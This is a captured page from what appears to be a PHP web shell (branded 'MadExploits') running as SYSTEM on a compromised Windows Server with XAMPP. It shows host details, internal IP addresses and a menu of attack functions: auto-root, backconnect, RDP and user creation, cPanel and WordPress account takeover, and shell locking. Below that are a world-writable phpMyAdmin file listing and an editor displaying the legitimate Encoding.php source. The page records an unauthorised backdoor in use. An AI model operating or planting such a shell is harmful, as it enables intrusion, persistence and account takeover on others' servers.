Windows NT DGPENSV2LPKMN 10.0 build 14393 (Windows Server 2016) AMD64
Apache/2.4.46 (Win64) OpenSSL/1.1.1h PHP/7.3.25
: 172.16.0.66 | : 172.16.0.254
Cant Read [ /etc/named.conf ]
7.3.25
SYSTEM
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
[ A ]
[ C ]
[ D ]
C: /
xampp7 /
phpMyAdmin /
libraries /
classes /
[ HOME SHELL ]
Name
Size
Permission
Action
Charsets
[ DIR ]
drwxrwxrwx
Config
[ DIR ]
drwxrwxrwx
Controllers
[ DIR ]
drwxrwxrwx
Database
[ DIR ]
drwxrwxrwx
Dbi
[ DIR ]
drwxrwxrwx
Di
[ DIR ]
drwxrwxrwx
Display
[ DIR ]
drwxrwxrwx
Engines
[ DIR ]
drwxrwxrwx
Gis
[ DIR ]
drwxrwxrwx
Navigation
[ DIR ]
drwxrwxrwx
Plugins
[ DIR ]
drwxrwxrwx
Properties
[ DIR ]
drwxrwxrwx
Rte
[ DIR ]
drwxrwxrwx
Server
[ DIR ]
drwxrwxrwx
Setup
[ DIR ]
drwxrwxrwx
Twig
[ DIR ]
drwxrwxrwx
Utils
[ DIR ]
drwxrwxrwx
Advisor.php
19.56
KB
-rw-rw-rw-
Bookmark.php
10.74
KB
-rw-rw-rw-
BrowseForeigners.php
11.15
KB
-rw-rw-rw-
CentralColumns.php
44.19
KB
-rw-rw-rw-
Charsets.php
6.14
KB
-rw-rw-rw-
CheckUserPrivileges.php
12.59
KB
-rw-rw-rw-
Config.php
57.38
KB
-rw-rw-rw-
Console.php
3.69
KB
-rw-rw-rw-
Core.php
38.31
KB
-rw-rw-rw-
CreateAddField.php
17.91
KB
-rw-rw-rw-
DatabaseInterface.php
104.47
KB
-rw-rw-rw-
Encoding.php
8.68
KB
-rw-rw-rw-
Error.php
13.34
KB
-rw-rw-rw-
ErrorHandler.php
17.17
KB
-rw-rw-rw-
ErrorReport.php
8.92
KB
-rw-rw-rw-
Export.php
42.76
KB
-rw-rw-rw-
File.php
21.29
KB
-rw-rw-rw-
FileListing.php
2.83
KB
-rw-rw-rw-
Font.php
5.54
KB
-rw-rw-rw-
Footer.php
10.6
KB
-rw-rw-rw-
Header.php
21.87
KB
-rw-rw-rw-
Import.php
56.56
KB
-rw-rw-rw-
Index.php
24.5
KB
-rw-rw-rw-
IndexColumn.php
4.44
KB
-rw-rw-rw-
InsertEdit.php
129.31
KB
-rw-rw-rw-
InternalRelations.php
17.42
KB
-rw-rw-rw-
IpAllowDeny.php
9.57
KB
-rw-rw-rw-
Language.php
4.31
KB
-rw-rw-rw-
LanguageManager.php
23.71
KB
-rw-rw-rw-
Linter.php
5.21
KB
-rw-rw-rw-
ListAbstract.php
2.51
KB
-rw-rw-rw-
ListDatabase.php
4.34
KB
-rw-rw-rw-
Logging.php
2.6
KB
-rw-rw-rw-
Menu.php
22.36
KB
-rw-rw-rw-
Message.php
19.32
KB
-rw-rw-rw-
Mime.php
916
B
-rw-rw-rw-
MultSubmits.php
23.64
KB
-rw-rw-rw-
Normalization.php
40.41
KB
-rw-rw-rw-
OpenDocument.php
8.52
KB
-rw-rw-rw-
Operations.php
81.25
KB
-rw-rw-rw-
OutputBuffering.php
3.71
KB
-rw-rw-rw-
ParseAnalyze.php
2.55
KB
-rw-rw-rw-
Partition.php
7.27
KB
-rw-rw-rw-
Pdf.php
4.37
KB
-rw-rw-rw-
Plugins.php
22.95
KB
-rw-rw-rw-
RecentFavoriteTable.php
12.04
KB
-rw-rw-rw-
Relation.php
79.64
KB
-rw-rw-rw-
RelationCleanup.php
15
KB
-rw-rw-rw-
Replication.php
5.75
KB
-rw-rw-rw-
ReplicationGui.php
21.23
KB
-rw-rw-rw-
Response.php
16.14
KB
-rw-rw-rw-
Sanitize.php
14.51
KB
-rw-rw-rw-
SavedSearches.php
11.94
KB
-rw-rw-rw-
Scripts.php
3.65
KB
-rw-rw-rw-
Session.php
7.62
KB
-rw-rw-rw-
Sql.php
82.09
KB
-rw-rw-rw-
SqlQueryForm.php
17.63
KB
-rw-rw-rw-
StorageEngine.php
13.75
KB
-rw-rw-rw-
SubPartition.php
3.55
KB
-rw-rw-rw-
SysInfo.php
1.61
KB
-rw-rw-rw-
SysInfoBase.php
822
B
-rw-rw-rw-
SysInfoLinux.php
2.16
KB
-rw-rw-rw-
SysInfoSunOS.php
1.89
KB
-rw-rw-rw-
SysInfoWINNT.php
3.27
KB
-rw-rw-rw-
SystemDatabase.php
3.97
KB
-rw-rw-rw-
Table.php
94.87
KB
-rw-rw-rw-
TablePartitionDefinition.php
6.64
KB
-rw-rw-rw-
Template.php
4.02
KB
-rw-rw-rw-
Theme.php
8.62
KB
-rw-rw-rw-
ThemeManager.php
10.42
KB
-rw-rw-rw-
Tracker.php
30.13
KB
-rw-rw-rw-
Tracking.php
40.26
KB
-rw-rw-rw-
Transformations.php
16.27
KB
-rw-rw-rw-
TwoFactor.php
7.14
KB
-rw-rw-rw-
Types.php
24.93
KB
-rw-rw-rw-
Url.php
8.32
KB
-rw-rw-rw-
UserPassword.php
9
KB
-rw-rw-rw-
UserPreferences.php
8.62
KB
-rw-rw-rw-
UserPreferencesHeader.php
4.13
KB
-rw-rw-rw-
Util.php
168.02
KB
-rw-rw-rw-
VersionInformation.php
6.92
KB
-rw-rw-rw-
ZipExtension.php
10.25
KB
-rw-rw-rw-
Delete
Unzip
Zip
${this.title}
Close
Code Editor : Encoding.php
<?php /* vim: set expandtab sw=4 ts=4 sts=4: */ /** * Hold the PhpMyAdmin\Encoding class * * @package PhpMyAdmin */ declare(strict_types=1); namespace PhpMyAdmin; use PhpMyAdmin\Config\ConfigFile; use PhpMyAdmin\Core; use PhpMyAdmin\Template; /** * Encoding conversion helper class * * @package PhpMyAdmin */ class Encoding { /** * None encoding conversion engine * * @var int */ public const ENGINE_NONE = 0; /** * iconv encoding conversion engine * * @var int */ public const ENGINE_ICONV = 1; /** * recode encoding conversion engine * * @var int */ public const ENGINE_RECODE = 2; /** * mbstring encoding conversion engine * * @var int */ public const ENGINE_MB = 3; /** * Chosen encoding engine * * @var int */ private static $_engine = null; /** * Map of conversion engine configurations * * Each entry contains: * * - function to detect * - engine contant * - extension name to warn when missing * * @var array */ private static $_enginemap = [ 'iconv' => [ 'iconv', self::ENGINE_ICONV, 'iconv', ], 'recode' => [ 'recode_string', self::ENGINE_RECODE, 'recode', ], 'mb' => [ 'mb_convert_encoding', self::ENGINE_MB, 'mbstring', ], 'none' => [ 'isset', self::ENGINE_NONE, '', ], ]; /** * Order of automatic detection of engines * * @var array */ private static $_engineorder = [ 'iconv', 'mb', 'recode', ]; /** * Kanji encodings list * * @var string */ private static $_kanji_encodings = 'ASCII,SJIS,EUC-JP,JIS'; /** * Initializes encoding engine detecting available backends. * * @return void */ public static function initEngine(): void { $engine = 'auto'; if (isset($GLOBALS['cfg']['RecodingEngine'])) { $engine = $GLOBALS['cfg']['RecodingEngine']; } /* Use user configuration */ if (isset(self::$_enginemap[$engine])) { if (function_exists(self::$_enginemap[$engine][0])) { self::$_engine = self::$_enginemap[$engine][1]; return; } else { Core::warnMissingExtension(self::$_enginemap[$engine][2]); } } /* Autodetection */ foreach (self::$_engineorder as $engine) { if (function_exists(self::$_enginemap[$engine][0])) { self::$_engine = self::$_enginemap[$engine][1]; return; } } /* Fallback to none conversion */ self::$_engine = self::ENGINE_NONE; } /** * Setter for engine. Use with caution, mostly useful for testing. * * @param int $engine Engine encoding * * @return void */ public static function setEngine(int $engine): void { self::$_engine = $engine; } /** * Checks whether there is any charset conversion supported * * @return bool */ public static function isSupported(): bool { if (self::$_engine === null) { self::initEngine(); } return self::$_engine != self::ENGINE_NONE; } /** * Converts encoding of text according to parameters with detected * conversion function. * * @param string $src_charset source charset * @param string $dest_charset target charset * @param string $what what to convert * * @return string converted text * * @access public */ public static function convertString( string $src_charset, string $dest_charset, string $what ): string { if ($src_charset == $dest_charset) { return $what; } if (self::$_engine === null) { self::initEngine(); } switch (self::$_engine) { case self::ENGINE_RECODE: return recode_string( $src_charset . '..' . $dest_charset, $what ); case self::ENGINE_ICONV: return iconv( $src_charset, $dest_charset . (isset($GLOBALS['cfg']['IconvExtraParams']) ? $GLOBALS['cfg']['IconvExtraParams'] : ''), $what ); case self::ENGINE_MB: return mb_convert_encoding( $what, $dest_charset, $src_charset ); default: return $what; } } /** * Detects whether Kanji encoding is available * * @return bool */ public static function canConvertKanji(): bool { return $GLOBALS['lang'] == 'ja'; } /** * Setter for Kanji encodings. Use with caution, mostly useful for testing. * * @return string */ public static function getKanjiEncodings(): string { return self::$_kanji_encodings; } /** * Setter for Kanji encodings. Use with caution, mostly useful for testing. * * @param string $value Kanji encodings list * * @return void */ public static function setKanjiEncodings(string $value): void { self::$_kanji_encodings = $value; } /** * Reverses SJIS & EUC-JP position in the encoding codes list * * @return void */ public static function kanjiChangeOrder(): void { $parts = explode(',', self::$_kanji_encodings); if ($parts[1] == 'EUC-JP') { self::$_kanji_encodings = 'ASCII,SJIS,EUC-JP,JIS'; } else { self::$_kanji_encodings = 'ASCII,EUC-JP,SJIS,JIS'; } } /** * Kanji string encoding convert * * @param string $str the string to convert * @param string $enc the destination encoding code * @param string $kana set 'kana' convert to JIS-X208-kana * * @return string the converted string */ public static function kanjiStrConv(string $str, string $enc, string $kana): string { if ($enc == '' && $kana == '') { return $str; } $string_encoding = mb_detect_encoding($str, self::$_kanji_encodings); if ($string_encoding === false) { $string_encoding = 'utf-8'; } if ($kana == 'kana') { $dist = mb_convert_kana($str, 'KV', $string_encoding); $str = $dist; } if ($string_encoding != $enc && $enc != '') { $dist = mb_convert_encoding($str, $enc, $string_encoding); } else { $dist = $str; } return $dist; } /** * Kanji file encoding convert * * @param string $file the name of the file to convert * @param string $enc the destination encoding code * @param string $kana set 'kana' convert to JIS-X208-kana * * @return string the name of the converted file */ public static function kanjiFileConv(string $file, string $enc, string $kana): string { if ($enc == '' && $kana == '') { return $file; } $tmpfname = tempnam($GLOBALS['PMA_Config']->getUploadTempDir(), $enc); $fpd = fopen($tmpfname, 'wb'); $fps = fopen($file, 'r'); self::kanjiChangeOrder(); while (! feof($fps)) { $line = fgets($fps, 4096); $dist = self::kanjiStrConv($line, $enc, $kana); fwrite($fpd, $dist); } // end while self::kanjiChangeOrder(); fclose($fps); fclose($fpd); unlink($file); return $tmpfname; } /** * Defines radio form fields to switch between encoding modes * * @return string HTML code for the radio controls */ public static function kanjiEncodingForm(): string { $template = new Template(); return $template->render('encoding/kanji_encoding_form'); } /** * Lists available encodings. * * @return array */ public static function listEncodings(): array { if (self::$_engine === null) { self::initEngine(); } /* Most engines do not support listing */ if (self::$_engine != self::ENGINE_MB) { return $GLOBALS['cfg']['AvailableCharsets']; } return array_intersect( array_map('strtolower', mb_list_encodings()), $GLOBALS['cfg']['AvailableCharsets'] ); } }
Close